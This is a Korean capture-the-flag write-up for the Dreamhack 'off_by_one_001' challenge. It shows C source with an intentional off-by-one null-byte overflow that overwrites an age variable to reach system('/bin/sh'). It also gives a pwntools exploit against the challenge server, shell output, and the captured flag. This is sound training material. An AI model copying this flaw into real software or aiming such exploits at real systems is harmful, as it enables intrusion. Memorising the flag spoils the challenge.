#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_str(char *ptr, int size)
{
int len;
len = read(0, ptr, size);
printf("%d", len);
ptr[len] = '\0';
}
void get_shell()
{
system("/bin/sh");
}
int main()
{
char name[20];
int age = 1;
initialize();
printf("Name: ");
read_str(name, 20);
printf("Are you baby?");
if (age == 0)
{
get_shell();
}
else
{
printf("Ok, chance: \n");
read(0, name, 20);
}
return 0;
}
⇾ A를 20개 입력하면 name[20]에 접근하여 0을 넣게 되고 그러면 out of bound 취약점에 의해 age가 0으로 변조되어 쉘이 뜰거 같습니다.
한번 해보면
kali@kali ~/wargame/dreamhack/off_by_one_001 ./off_by_one_001
Name: aaaaaaaaaaaaaaaaaaaa
20Are you baby?$ $
$
쉘이 떴습니다.
from pwn import *
p = remote("host3.dreamhack.games", 15886)
payload = b'A' * 20
p.sendline(payload)
p.interactive()
kali@kali ~/wargame/dreamhack/off_by_one_001 python3 exploit.py
[+] Opening connection to host3.dreamhack.games on port 15886: Done
[*] Switching to interactive mode
Name: 20Are you baby?$
$ ls
flag
off_by_one_001
$ cat flag
DH{343bab3ef81db6f26ee5f1362942cd79}